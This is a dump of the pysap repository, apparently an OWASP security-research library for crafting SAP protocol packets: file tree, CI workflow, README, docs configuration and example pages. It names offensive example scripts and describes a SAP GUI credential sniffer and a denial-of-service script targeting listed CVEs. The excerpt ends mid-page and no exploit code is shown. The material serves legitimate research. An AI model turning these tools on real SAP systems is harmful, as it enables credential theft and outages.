├── .github └── workflows │ └── build_and_test.yml ├── .gitignore ├── .readthedocs.yml ├── COPYING ├── ChangeLog.md ├── MANIFEST.in ├── README.md ├── SECURITY.md ├── bin ├── pysapcar ├── pysapgenpse └── pysaphdbuserstore ├── docs ├── Makefile ├── api │ ├── index.rst │ └── pysapcompress.rst ├── conf.py ├── dev │ ├── changelog.rst │ └── index.rst ├── examples │ ├── diag.rst │ ├── dlmanager.rst │ ├── enqueue.rst │ ├── gw.rst │ ├── hdb.rst │ ├── igs.rst │ ├── index.rst │ ├── message_server.rst │ └── router.rst ├── fileformats │ ├── SAPCAR.ipynb │ ├── SAPCredv2.ipynb │ ├── SAPPSE.ipynb │ ├── SAPSSFS.ipynb │ └── index.rst ├── index.rst ├── make.bat ├── protocols │ ├── SAPDiag.ipynb │ ├── SAPEnqueue.ipynb │ ├── SAPHDB.ipynb │ ├── SAPIGS.ipynb │ ├── SAPMS.ipynb │ ├── SAPNI.ipynb │ ├── SAPRFC.ipynb │ ├── SAPRouter.ipynb │ ├── SAPSNC.ipynb │ └── index.rst └── user │ └── index.rst ├── examples ├── default_sap_credentials ├── diag_capturer.py ├── diag_dos_exploit.py ├── diag_interceptor.py ├── diag_login_brute_force.py ├── diag_login_screen_info.py ├── diag_render_login_screen.py ├── diag_rogue_server.py ├── dlmanager_decrypt.py ├── dlmanager_infector.py ├── enqueue_dos_exploit.py ├── enqueue_monitor.py ├── gw_monitor.py ├── hdb_auth.py ├── hdb_discovery.py ├── igs_http_imgconv.py ├── igs_http_xmlchart.py ├── igs_http_zipper.py ├── igs_rfc_zipper.py ├── list_sap_parameters ├── ms_change_param.py ├── ms_dos_exploit.py ├── ms_dump_info.py ├── ms_dump_param.py ├── ms_impersonator.py ├── ms_listener.py ├── ms_messager.py ├── ms_monitor.py ├── ms_observer.py ├── router_admin.py ├── router_fingerprint.py ├── router_fingerprints.json ├── router_niping.py ├── router_password_check.py ├── router_portfw.py └── router_scanner.py ├── extra ├── parsesupportbits.py └── pse2john.py ├── pysap ├── SAPCAR.py ├── SAPCredv2.py ├── SAPDiag.py ├── SAPDiagClient.py ├── SAPDiagItems.py ├── SAPEnqueue.py ├── SAPHDB.py ├── SAPIGS.py ├── SAPLPS.py ├── SAPMS.py ├── SAPNI.py ├── SAPPSE.py ├── SAPRFC.py ├── SAPRouter.py ├── SAPSNC.py ├── SAPSSFS.py ├── __init__.py └── utils │ ├── __init__.py │ ├── console.py │ ├── crypto │ ├── __init__.py │ └── rsec.py │ └── fields.py ├── pysapcompress ├── hpa101saptype.h ├── hpa104CsObject.h ├── hpa105CsObjInt.h ├── hpa106cslzc.h ├── hpa107cslzh.h ├── pysapcompress.cpp ├── vpa105CsObjInt.cpp ├── vpa106cslzc.cpp ├── vpa107cslzh.cpp └── vpa108csulzh.cpp ├── requirements-docs.txt ├── requirements-examples.txt ├── requirements.txt ├── setup.py └── tests ├── __init__.py ├── crypto_test.py ├── data ├── car200_test_string.sar ├── car201_test_string.sar ├── credv2_lps_off_v0_3des ├── credv2_lps_off_v0_dp_3des ├── credv2_lps_off_v1_3des ├── credv2_lps_off_v1_aes256 ├── credv2_lps_off_v1_dp_aes256 ├── credv2_lps_on_v2_dp_aes256 ├── credv2_lps_on_v2_int_aes256 ├── credv2_lps_on_v2_int_aes256_composed_subject ├── invalid_read_testcase.data ├── invalid_write_testcase.data ├── nw_703_login_screen_compressed.data ├── nw_703_login_screen_decompressed.data ├── pse_v2_lps_off_pbes1_3des_sha1.pse ├── pse_v4_lps_off_pbes1_3des_sha1.pse ├── sapgui_730_login_compressed.data ├── sapgui_730_login_decompressed.data ├── ssfs_hdb_dat ├── ssfs_hdb_key ├── ssfs_npl_dat └── ssfs_npl_key ├── pysapcompress_test.py ├── sapcar_test.py ├── sapcredv2_test.py ├── sapdiag_test.py ├── saphdb_test.py ├── sapni_test.py ├── sappse_test.py ├── saprouter_test.py ├── sapssfs_test.py └── utils.py /.github/workflows/build_and_test.yml: -------------------------------------------------------------------------------- 1 | # GitHub Action workflow to build and test the library 2 | # 3 | 4 | name: Build and test pysap 5 | 6 | on: [push, pull_request] 7 | 8 | jobs: 9 | health: 10 | name: Check code health 11 | runs-on: ubuntu-18.04 12 | strategy: 13 | matrix: 14 | python-version: [2.7] 15 | steps: 16 | - name: Checkout pysap 17 | uses: actions/checkout@v2 18 | - name: Setup Python ${{ matrix.python-version }} 19 | uses: actions/setup-python@v2 20 | with: 21 | python-version: ${{ matrix.python-version }} 22 | - name: Install dependencies 23 | run: | 24 | python2 -m pip install --upgrade pip wheel 25 | python2 -m pip install flake8 six 26 | python2 -m pip install -r requirements.txt 27 | - name: Run flake8 tests 28 | run: | 29 | flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics 30 | flake8 . --count --ignore=E501 --exit-zero --max-complexity=10 --max-line-length=127 --statistics 31 | 32 | test: 33 | name: Run unit tests and build wheel 34 | runs-on: ${{ matrix.os }} 35 | continue-on-error: ${{ matrix.experimental }} 36 | strategy: 37 | fail-fast: false 38 | matrix: 39 | os: [ubuntu-18.04, macos-latest] 40 | python-version: [2.7] 41 | experimental: [false] 42 | include: 43 | - os: windows-latest 44 | python-version: 2.7 45 | experimental: true 46 | steps: 47 | - name: Checkout pysap 48 | uses: actions/checkout@v2 49 | - name: Setup Python ${{ matrix.python-version }} 50 | uses: actions/setup-python@v2 51 | with: 52 | python-version: ${{ matrix.python-version }} 53 | 54 | - name: Install macOS dependencies 55 | if: runner.os == 'macOS' 56 | run: | 57 | brew install openssl libdnet libpcap 58 | - name: Install Windows dependencies 59 | if: runner.os == 'Windows' 60 | run: | 61 | choco install vcredist2008 -f -y 62 | choco install dotnet3.5 -f -y 63 | (New-Object System.Net.WebClient).DownloadFile("https://web.archive.org/web/20200803210206if_/https://download.microsoft.com/download/7/9/6/796EF2E4-801B-4FC4-AB28-B59FBF6D907B/VCForPython27.msi", "VCForPython27.msi") 64 | msiexec.exe /i VCForPython27.msi ALLUSERS=1 /qn /norestart 65 | 66 | - name: Install Python dependencies 67 | run: | 68 | python -m pip install --upgrade pip wheel 69 | python -m pip install -r requirements.txt 70 | 71 | - name: Run unit tests 72 | run: | 73 | python setup.py test 74 | 75 | - name: Build wheel artifact 76 | run: | 77 | python setup.py bdist_wheel 78 | - name: Upload wheel artifact 79 | uses: actions/upload-artifact@v2 80 | with: 81 | name: packages 82 | path: dist/*.whl 83 | 84 | docs: 85 | name: Build documentation and source package 86 | runs-on: ubuntu-18.04 87 | strategy: 88 | matrix: 89 | python-version: [2.7] 90 | steps: 91 | - name: Checkout pysap 92 | uses: actions/checkout@v2 93 | - name: Setup Python ${{ matrix.python-version }} 94 | uses: actions/setup-python@v2 95 | with: 96 | python-version: ${{ matrix.python-version }} 97 | - name: Install Linux dependencies 98 | run: | 99 | sudo apt-get install pandoc texlive-latex-base ghostscript 100 | - name: Install Python dependencies 101 | run: | 102 | python2 -m pip install --upgrade pip wheel 103 | python2 -m pip install -r requirements-docs.txt 104 | - name: Install the library 105 | run: | 106 | python2 setup.py install 107 | - name: Pre-run documentation notebooks 108 | run: | 109 | python2 setup.py notebooks 110 | 111 | - name: Build source artifact 112 | run: | 113 | python2 setup.py sdist 114 | 115 | - name: Build documentation 116 | run: | 117 | python2 setup.py doc 118 | 119 | - name: Upload source artifact 120 | uses: actions/upload-artifact@v2 121 | with: 122 | name: packages 123 | path: dist/*.tar.gz 124 | 125 | release: 126 | name: Release 127 | runs-on: ubuntu-18.04 128 | needs: [test, docs] 129 | env: 130 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 131 | if: ${{ github.event_name == 'push' && startsWith(github.ref, 'v') }} 132 | steps: 133 | - name: Download artifacts 134 | uses: actions/download-artifact@v2 135 | with: 136 | name: packages 137 | path: dist 138 | - name: Create release and upload assets 139 | uses: meeDamian/github-release@2.0 140 | with: 141 | token: ${{ secrets.GITHUB_TOKEN }} 142 | name: pysap ${{ github.ref }} 143 | draft: true 144 | files: dist/ 145 | gzip: folders 146 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | 5 | # C extensions 6 | *.so 7 | 8 | # Distribution / packaging 9 | .Python 10 | env/ 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | *.egg-info/ 23 | .installed.cfg 24 | *.egg 25 | 26 | # PyInstaller 27 | # Usually these files are written by a python script from a template 28 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 29 | *.manifest 30 | *.spec 31 | 32 | # Installer logs 33 | pip-log.txt 34 | pip-delete-this-directory.txt 35 | 36 | # Unit test / coverage reports 37 | htmlcov/ 38 | .tox/ 39 | .coverage 40 | .cache 41 | nosetests.xml 42 | coverage.xml 43 | 44 | # Translations 45 | *.mo 46 | *.pot 47 | 48 | # Django stuff: 49 | *.log 50 | 51 | # Sphinx documentation 52 | docs/_build/ 53 | docs/api/modules.rst 54 | docs/api/pysap.*rst 55 | docs/**/.ipynb_checkpoints/ 56 | docs/**/*.tex 57 | docs/**/*.dvi 58 | 59 | # PyBuilder 60 | target/ 61 | 62 | # IDEs 63 | .idea 64 | .project 65 | .pydevproject 66 | .settings 67 | -------------------------------------------------------------------------------- /.readthedocs.yml: -------------------------------------------------------------------------------- 1 | # Read the Docs configuration file for pysap 2 | 3 | version: 2 4 | 5 | python: 6 | version: 2.7 7 | install: 8 | - method: pip 9 | path: . 10 | extra_requirements: 11 | - docs 12 | -------------------------------------------------------------------------------- /MANIFEST.in: -------------------------------------------------------------------------------- 1 | # Include the additional files 2 | include ChangeLog.md 3 | include COPYING 4 | include README.md 5 | include SECURITY.md 6 | 7 | include requirements.txt 8 | include requirements-docs.txt 9 | include requirements-examples.txt 10 | 11 | # Include header files 12 | include pysapcompress/*.h 13 | 14 | # Include the docs 15 | recursive-include docs * 16 | 17 | # Include the extra scripts 18 | recursive-include extra *.py 19 | 20 | # Include the example scripts 21 | recursive-include examples * 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | pysap - Python library for crafting SAP's network protocols packets 2 | =================================================================== 3 | 4 | [![Build and test pysap](https://github.com/OWASP/pysap/workflows/Build%20and%20test%20pysap/badge.svg)](https://github.com/OWASP/pysap/actions?query=workflow%3A%22Build+and+test+pysap%22) 5 | [![Latest Version](https://img.shields.io/pypi/v/pysap.svg)](https://pypi.python.org/pypi/pysap/) 6 | [![Documentation Status](http://readthedocs.org/projects/pysap/badge/?version=latest)](http://pysap.readthedocs.io/en/latest/?badge=latest) 7 | 8 | Version 0.1.20.dev0 (XXX 2023) 9 | 10 | :information_source: [Python 3 port project](#Python3portproject) 11 | 12 | 13 | Overview 14 | -------- 15 | 16 | [SAP Netweaver](https://www.sap.com/platform/netweaver/index.epx) and 17 | [SAP HANA](https://www.sap.com/products/hana.html) are technology platforms for 18 | building and integrating SAP business applications. Communication between components 19 | uses different network protocols and some services and tools make use of custom file 20 | formats as well. While some of them are standard and well-known protocols, others 21 | are proprietaries and public information is generally not available. 22 | 23 | [pysap](https://www.secureauth.com/labs/open-source-tools/pysap) 24 | is an open source Python 2 library that provides modules for crafting and sending packets 25 | using SAP's `NI`, `Diag`, `Enqueue`, `Router`, `MS`, `SNC`, `IGS`, `RFC` and `HDB` 26 | protocols. In addition, support for creating and parsing different proprietary file 27 | formats is included. The modules are built on top of [Scapy](https://scapy.net/) and are 28 | based on information acquired at researching the different protocols, file formats 29 | and services. 30 | 31 | 32 | Features 33 | -------- 34 | 35 | * Dissection and crafting of the following network protocols: 36 | 37 | * SAP Network Interface (`NI`) 38 | * SAP `Diag` 39 | * SAP `Enqueue` 40 | * SAP `Router` 41 | * SAP Message Server (`MS`) 42 | * SAP Secure Network Connection (`SNC`) 43 | * SAP Internet Graphic Server (`IGS`) 44 | * SAP Remote Function Call (`RFC`) 45 | * SAP HANA SQL Command Network (`HDB`) 46 | 47 | * Client interfaces for handling the following file formats: 48 | 49 | * SAP [`SAR` archive files](https://www.iana.org/assignments/media-types/application/vnd.sar) 50 | * SAP Personal Security Environment (`PSE`) files 51 | * SAP SSO Credential (`Credv2`) files 52 | * SAP Secure Storage in File System (`SSFS`) files 53 | 54 | * Library implementing SAP's `LZH` and `LZC` compression algorithms. 55 | 56 | * Automatic compression/decompression of payloads with SAP's algorithms. 57 | 58 | * Client, proxy and server classes implemented for some of the protocols. 59 | 60 | * Example scripts to illustrate the use of the different modules and protocols. 61 | 62 | 63 | Installation 64 | ------------ 65 | 66 | To install pysap simply run: 67 | 68 | $ python -m pip install pysap 69 | 70 | pysap is compatible and tested with Python 2.7. 71 | 72 | 73 | Roadmap 74 | ------- 75 | 76 | ### Python 3 port project 77 | 78 | :warning: For legacy reasons, the project is only Python 2 compatible. There were some [initial efforts](https://github.com/OWASP/pysap/tree/python2-3) to port the project to be Python 2 and 3 compatible, but those were never completed. 79 | 80 | As time passed, and Python 2 started to loss relevance, we decided to start a new effort to complete the project and move the project to be Python 3 only compatible. The main reason is to avoid the introduction of backwards compatibility libraries that add complexity to the code and are not relevant in the current state of the Python project. 81 | 82 | This project is actively being worked on right now by the OWASP CBAS project as part of the [master-0.2 branch](https://github.com/OWASP/pysap/tree/master-0.2)and tracked as a [project](https://github.com/OWASP/projects/12). 83 | 84 | ### Further efforts 85 | 86 | The document 87 | 88 | 89 | 90 | Documentation 91 | ------------- 92 | 93 | Documentation is available at [Read the Docs](https://pysap.readthedocs.io/en/latest/). 94 | 95 | 96 | License 97 | ------- 98 | 99 | This library is distributed under the GPLv2 license. Check the [COPYING](COPYING) 100 | file for more details. 101 | 102 | 103 | Authors 104 | ------- 105 | 106 | he tool was initially designed and developed by Martin Gallo wile working at 107 | [SecureAuth's Innovation Labs](https://www.secureauth.com/labs/) team, with the 108 | help of many contributors. The code was then contributed by SecureAuth to the 109 | OWASP CBAS Project in October 2022. 110 | 111 | ### Contributors ### 112 | 113 | Contributions made by: 114 | 115 | * Florian Grunow ([@0x79](https://twitter.com/0x79)) 116 | * Scott Walsh ([@invisiblethreat](https://github.com/invisiblethreat)) 117 | * Joris van de Vis ([@jvis](https://twitter.com/jvis)) 118 | * Victor Portal Gonzalez 119 | * Dmitry Yudin ([@ret5et](https://github.com/ret5et)) 120 | * Hans-Christian Esperer ([@hce](https://github.com/hce)) 121 | * Vahagn Vardanyan ([@vah13](https://github.com/vah13)) 122 | * Mathieu Geli ([@gelim](https://github.com/gelim)) 123 | * Yvan Genuer ([@iggy38](https://github.com/iggy38)) 124 | * Malte Heinzelmann ([@hnzlmnn](https://github.com/hnzlmnn)) 125 | * Albert Zedlitz 126 | * [@cclauss](https://github.com/cclauss) 127 | * [@okuuva](https://github.com/okuuva) 128 | * Dmitry Chastuhin ([@_chipik](https://twitter.com/_chipik)) 129 | * fabhap 130 | * Andreas Hornig 131 | * Jennifer Hornig ([@gloomicious](https://github.com/gloomicious)) 132 | 133 | Disclaimer 134 | ---------- 135 | 136 | The spirit of this Open Source initiative is to help security researchers, 137 | and the community, speed up research and educational activities related to 138 | the implementation of networking protocols and stacks. 139 | 140 | The information in this repository is for research and educational purposes 141 | only and is not intended to be used in production environments and/or as part 142 | of commercial products. 143 | 144 | If you desire to use this tool or some part of it for your own uses, we 145 | recommend applying proper security development life cycle and secure coding 146 | practices, as well as generate and track the respective indicators of 147 | compromise according to your needs. 148 | 149 | 150 | Contact Us 151 | ---------- 152 | 153 | Whether you want to report a bug, send a patch, or give some suggestions 154 | on this package, drop a few lines to 155 | [OWASP CBAS' project leaders](https://owasp.org/www-project-core-business-application-security/#leaders). 156 | 157 | For security-related questions check our [security policy](SECURITY.md). 158 | -------------------------------------------------------------------------------- /SECURITY.md: -------------------------------------------------------------------------------- 1 | Security Policy 2 | =============== 3 | 4 | Although this initiative is not meant to be used in productive environments, 5 | if you consider that you have identified an issue that might affect the 6 | security of its users, or you understand that the tool is being abused, 7 | you can contact [OWASP CBAS' project leaders](https://owasp.org/www-project-core-business-application-security/#leaders). 8 | -------------------------------------------------------------------------------- /docs/Makefile: -------------------------------------------------------------------------------- 1 | # Makefile for Sphinx documentation 2 | # 3 | 4 | # You can set these variables from the command line. 5 | SPHINXOPTS ?= 6 | SPHINXBUILD ?= sphinx-build 7 | PAPER ?= 8 | SOURCEDIR = . 9 | BUILDDIR = _build 10 | 11 | # Internal variables. 12 | PAPEROPT_a4 = -D latex_elements.papersize=a4 13 | PAPEROPT_letter = -D latex_elements.papersize=letter 14 | # $(O) is meant as a shortcut for $(SPHINXOPTS) 15 | ALLSPHINXOPTS = -d $(BUILDDIR)/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) $(O) $(SOURCEDIR) 16 | # the i18n builder cannot share the environment and doctrees with the others 17 | I18NSPHINXOPTS = $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) $(O) $(SOURCEDIR) 18 | 19 | .PHONY: help 20 | help: 21 | @echo "Please use \`make ' where is one of" 22 | @echo " html to make standalone HTML files" 23 | @echo " dirhtml to make HTML files named index.html in directories" 24 | @echo " singlehtml to make a single large HTML file" 25 | @echo " pickle to make pickle files" 26 | @echo " json to make JSON files" 27 | @echo " htmlhelp to make HTML files and an HTML help project" 28 | @echo " qthelp to make HTML files and a qthelp project" 29 | @echo " applehelp to make an Apple Help Book" 30 | @echo " devhelp to make HTML files and a Devhelp project" 31 | @echo " epub to make an epub" 32 | @echo " latex to make LaTeX files, you can set PAPER=a4 or PAPER=letter" 33 | @echo " latexpdf to make LaTeX files and run them through pdflatex" 34 | @echo " latexpdfja to make LaTeX files and run them through platex/dvipdfmx" 35 | @echo " lualatexpdf to make LaTeX files and run them through lualatex" 36 | @echo " xelatexpdf to make LaTeX files and run them through xelatex" 37 | @echo " text to make text files" 38 | @echo " man to make manual pages" 39 | @echo " texinfo to make Texinfo files" 40 | @echo " info to make Texinfo files and run them through makeinfo" 41 | @echo " gettext to make PO message catalogs" 42 | @echo " changes to make an overview of all changed/added/deprecated items" 43 | @echo " xml to make Docutils-native XML files" 44 | @echo " pseudoxml to make pseudoxml-XML files for display purposes" 45 | @echo " linkcheck to check all external links for integrity" 46 | @echo " doctest to run all doctests embedded in the documentation (if enabled)" 47 | @echo " coverage to run coverage check of the documentation (if enabled)" 48 | @echo " dummy to check syntax errors of document sources" 49 | 50 | .PHONY: clean 51 | clean: 52 | rm -rf $(BUILDDIR)/* 53 | 54 | .PHONY: latexpdf 55 | latexpdf: 56 | $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex 57 | @echo "Running LaTeX files through pdflatex..." 58 | $(MAKE) -C $(BUILDDIR)/latex all-pdf 59 | @echo "pdflatex finished; the PDF files are in $(BUILDDIR)/latex." 60 | 61 | .PHONY: latexpdfja 62 | latexpdfja: 63 | $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex 64 | @echo "Running LaTeX files through platex and dvipdfmx..." 65 | $(MAKE) -C $(BUILDDIR)/latex all-pdf-ja 66 | @echo "pdflatex finished; the PDF files are in $(BUILDDIR)/latex." 67 | 68 | .PHONY: lualatexpdf 69 | lualatexpdf: 70 | $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex 71 | @echo "Running LaTeX files through lualatex..." 72 | $(MAKE) PDFLATEX=lualatex -C $(BUILDDIR)/latex all-pdf 73 | @echo "lualatex finished; the PDF files are in $(BUILDDIR)/latex." 74 | 75 | .PHONY: xelatexpdf 76 | xelatexpdf: 77 | $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex 78 | @echo "Running LaTeX files through xelatex..." 79 | $(MAKE) PDFLATEX=xelatex -C $(BUILDDIR)/latex all-pdf 80 | @echo "xelatex finished; the PDF files are in $(BUILDDIR)/latex." 81 | 82 | .PHONY: info 83 | info: 84 | $(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo 85 | @echo "Running Texinfo files through makeinfo..." 86 | make -C $(BUILDDIR)/texinfo info 87 | @echo "makeinfo finished; the Info files are in $(BUILDDIR)/texinfo." 88 | 89 | .PHONY: gettext 90 | gettext: 91 | $(SPHINXBUILD) -b gettext $(I18NSPHINXOPTS) $(BUILDDIR)/locale 92 | 93 | # Catch-all target: route all unknown targets to Sphinx 94 | .PHONY: Makefile 95 | %: Makefile 96 | $(SPHINXBUILD) -b "$@" $(ALLSPHINXOPTS) "$(BUILDDIR)/$@" 97 | -------------------------------------------------------------------------------- /docs/api/index.rst: -------------------------------------------------------------------------------- 1 | .. API guide frontend 2 | 3 | Developer Interface 4 | =================== 5 | 6 | This part of the documentation covers the developer interfaces of pysap. 7 | 8 | .. toctree:: 9 | :maxdepth: 2 10 | 11 | pysap 12 | pysapcompress 13 | -------------------------------------------------------------------------------- /docs/api/pysapcompress.rst: -------------------------------------------------------------------------------- 1 | .. API guide frontend 2 | 3 | pysapcompress library 4 | ===================== 5 | 6 | .. automodule:: pysapcompress 7 | :members: 8 | :undoc-members: 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /docs/conf.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # 3 | # Configuration file for the Sphinx documentation builder. 4 | # 5 | # This file does only contain a selection of the most common options. For a 6 | # full list see the documentation: 7 | # http://www.sphinx-doc.org/en/master/config 8 | 9 | import pysap 10 | 11 | # -- Path setup -------------------------------------------------------------- 12 | 13 | # If extensions (or modules to document with autodoc) are in another directory, 14 | # add these directories to sys.path here. If the directory is relative to the 15 | # documentation root, use os.path.abspath to make it absolute, like shown here. 16 | # 17 | import os 18 | import sys 19 | sys.path.insert(0, os.path.abspath('..')) 20 | 21 | 22 | # -- Project information ----------------------------------------------------- 23 | 24 | 25 | project = u'pysap' 26 | author = u'Martin Gallo, OWASP CBAS Project' 27 | 28 | # The short X.Y version 29 | version = pysap.__version__ 30 | # The full version, including alpha/beta/rc tags 31 | release = version 32 | 33 | 34 | # -- General configuration --------------------------------------------------- 35 | 36 | # If your documentation needs a minimal Sphinx version, state it here. 37 | # 38 | # needs_sphinx = '1.0' 39 | 40 | # Add any Sphinx extension module names here, as strings. They can be 41 | # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom 42 | # ones. 43 | extensions = [ 44 | 'sphinx.ext.autodoc', 45 | 'sphinx.ext.viewcode', 46 | 'nbsphinx', 47 | 'sphinx.ext.mathjax', 48 | 'm2r', 49 | ] 50 | 51 | # Add any paths that contain templates here, relative to this directory. 52 | templates_path = ['_templates'] 53 | 54 | # The suffix(es) of source filenames. 55 | # You can specify multiple suffix as a list of string: 56 | # 57 | # source_suffix = ['.rst', '.md'] 58 | source_suffix = ['.rst', '.md'] 59 | 60 | # The master toctree document. 61 | master_doc = 'index' 62 | 63 | # The language for content autogenerated by Sphinx. Refer to documentation 64 | # for a list of supported languages. 65 | # 66 | # This is also used if you do content translation via gettext catalogs. 67 | # Usually you set "language" from the command line for these cases. 68 | language = None 69 | 70 | # List of patterns, relative to source directory, that match files and 71 | # directories to ignore when looking for source files. 72 | # This pattern also affects html_static_path and html_extra_path . 73 | exclude_patterns = [u'_build', 'Thumbs.db', '.DS_Store', '**.ipynb_checkpoints'] 74 | 75 | # The name of the Pygments (syntax highlighting) style to use. 76 | pygments_style = 'sphinx' 77 | 78 | 79 | # -- Options for HTML output ------------------------------------------------- 80 | 81 | # The theme to use for HTML and HTML Help pages. See the documentation for 82 | # a list of builtin themes. 83 | # 84 | html_theme = 'alabaster' 85 | 86 | # Theme options are theme-specific and customize the look and feel of a theme 87 | # further. For a list of options available for each theme, see the 88 | # documentation. 89 | # 90 | # html_theme_options = {} 91 | 92 | # Add any paths that contain custom static files (such as style sheets) here, 93 | # relative to this directory. They are copied after the builtin static files, 94 | # so a file named "default.css" will overwrite the builtin "default.css". 95 | html_static_path = ['_static'] 96 | 97 | # Custom sidebar templates, must be a dictionary that maps document names 98 | # to template names. 99 | # 100 | # The default sidebars (for documents that don't match any pattern) are 101 | # defined by theme itself. Builtin themes are using these templates by 102 | # default: ``['localtoc.html', 'relations.html', 'sourcelink.html', 103 | # 'searchbox.html']``. 104 | # 105 | # html_sidebars = {} 106 | 107 | 108 | # -- Options for HTMLHelp output --------------------------------------------- 109 | 110 | # Output file base name for HTML help builder. 111 | htmlhelp_basename = 'pysapdoc' 112 | 113 | 114 | # -- Options for LaTeX output ------------------------------------------------ 115 | 116 | latex_elements = { 117 | # The paper size ('letterpaper' or 'a4paper'). 118 | # 119 | # 'papersize': 'letterpaper', 120 | 121 | # The font size ('10pt', '11pt' or '12pt'). 122 | # 123 | # 'pointsize': '10pt', 124 | 125 | # Additional stuff for the LaTeX preamble. 126 | # 127 | # 'preamble': '', 128 | 129 | # Latex figure (float) alignment 130 | # 131 | # 'figure_align': 'htbp', 132 | } 133 | 134 | # Grouping the document tree into LaTeX files. List of tuples 135 | # (source start file, target name, title, 136 | # author, documentclass [howto, manual, or own class]). 137 | latex_documents = [ 138 | (master_doc, 'pysap.tex', u'pysap Documentation', 139 | author, 'manual'), 140 | ] 141 | 142 | 143 | # -- Options for manual page output ------------------------------------------ 144 | 145 | # One entry per manual page. List of tuples 146 | # (source start file, name, description, authors, manual section). 147 | man_pages = [ 148 | (master_doc, project, u'pysap Documentation', 149 | [author], 1) 150 | ] 151 | 152 | 153 | # -- Options for Texinfo output ---------------------------------------------- 154 | 155 | # Grouping the document tree into Texinfo files. List of tuples 156 | # (source start file, target name, title, author, 157 | # dir menu entry, description, category) 158 | texinfo_documents = [ 159 | (master_doc, project, u'pysap Documentation', 160 | author, project, 'Python library for crafting SAP\'s network protocols packets', 161 | 'Miscellaneous'), 162 | ] 163 | 164 | 165 | # Automatically build API docs 166 | def run_apidoc(_): 167 | ignore_paths = [] 168 | argv = [ 169 | "-f", # Force 170 | "-T", # No TOC 171 | "-e", # Each module on its own page 172 | "-M", # Module first 173 | "-o", "api/", # Output on "api/" 174 | "../pysap" # Only document pysap module 175 | ] + ignore_paths 176 | 177 | from sphinx.ext import apidoc 178 | apidoc.main(argv) 179 | 180 | 181 | def setup(app): 182 | app.connect('builder-inited', run_apidoc) 183 | -------------------------------------------------------------------------------- /docs/dev/changelog.rst: -------------------------------------------------------------------------------- 1 | .. Release and version history 2 | 3 | Release and version history 4 | =========================== 5 | 6 | .. mdinclude:: ../../ChangeLog.md 7 | :start-line: 2 8 | -------------------------------------------------------------------------------- /docs/dev/index.rst: -------------------------------------------------------------------------------- 1 | .. Development guide frontend 2 | 3 | Development 4 | =========== 5 | 6 | If you are interested in contribute to the project, this part of the 7 | documentation should contain the start point. 8 | 9 | .. toctree:: 10 | :maxdepth: 2 11 | :glob: 12 | 13 | * 14 | 15 | Documentation 16 | ------------- 17 | 18 | Documentation can be build using:: 19 | 20 | $ python setup.py doc 21 | 22 | A build is also available at `Read the Docs `_. 23 | 24 | 25 | The build process requires several packages and libraries to be available. The operative system libraries required are: 26 | 27 | * ``pandoc`` 28 | * A LaTex environment, for example ``TexLive`` on Linux or ``MikTex`` on Windows. 29 | 30 | For example, installation on a Ubuntu box would require the following commands:: 31 | 32 | $ sudo apt install pandoc texlive-latex-base 33 | 34 | Python packages can be installed using :: 35 | 36 | $ python -m pip install pysap[docs] 37 | 38 | 39 | Notebooks 40 | --------- 41 | 42 | Documentation include a graphical representation of the most commonly used protocol packets and file formats. This 43 | graphical representations are built using `Scapy `_, 44 | `The Jupyter Notebook `_ , `nbconvert `_ and 45 | `nbsphinx `_. 46 | 47 | Jupyter notebooks containing the protocol packets' representation can be re-build using the following command:: 48 | 49 | $ python setup.py notebooks 50 | 51 | 52 | Code contributions 53 | ------------------ 54 | 55 | When contributing code, follow this checklists: 56 | 57 | 1. Fork the repository on `GitHub `_. 58 | 2. Run the tests to check that all current tests pass on the system. If they don't, 59 | some investigation might be required to determine why they fail. Note that current 60 | tests are limited and only covers some of the protocols and client interfaces. 61 | 3. If possible, write tests that demonstrate the bug you're fixing or the feature 62 | being added. 63 | 4. Make the desired changes. 64 | 5. Run the tests again and ensure they are passing again and remain valid. 65 | 6. Send a GitHub Pull Request to the repository's master branch. 66 | 67 | 68 | Bug reporting 69 | ------------- 70 | 71 | Bug reports are important to keep the project up. It's important to clarify that 72 | examples are not mean to be valid for all current software versions, and in most of 73 | the cases they are demonstrations over the capabilities of having the packages 74 | implemented in the library. However, improvements are highly appreciated on both 75 | library's core components and example scripts. 76 | 77 | When submitting bugs, follow this checklist: 78 | 79 | 1. Check current `GitHub issues `_ for 80 | potential duplicates. 81 | 2. Create a new issue detailing as much information as possible. Packet captures are 82 | always helpful when dealing with specific packets missing or client interface errors. 83 | -------------------------------------------------------------------------------- /docs/examples/diag.rst: -------------------------------------------------------------------------------- 1 | .. Diag example scripts 2 | 3 | Diag Example scripts 4 | ==================== 5 | 6 | ``diag_capturer`` 7 | ----------------- 8 | 9 | This example script can be used to grab SAP GUI login credentials from a ``pcap`` file or by 10 | directly sniffing on a network interface. The SAP Diag protocol packets are parsed and 11 | processed to obtain login credentials from the login form submissions. Identification of the 12 | password field is performed by means of looking at the "invisible" property used by SAP to 13 | denote password or other sensitive fields that should be masked by the SAP GUI. 14 | 15 | 16 | ``diag_dos_exploit`` 17 | -------------------- 18 | 19 | This example script can be used to tests against Denial of Service vulnerabilities affecting the 20 | Dispatcher service. Currently 5 different vulnerabilities can be triggered: 21 | 22 | - `CVE-2012-2612 `_ 23 | - `CVE-2012-2511 `_ 24 | - `CVE-2012-2512 `_ 25 | - `CVE-2012-2513 `_ 26 | - `CVE-2012-2514 `_ 27 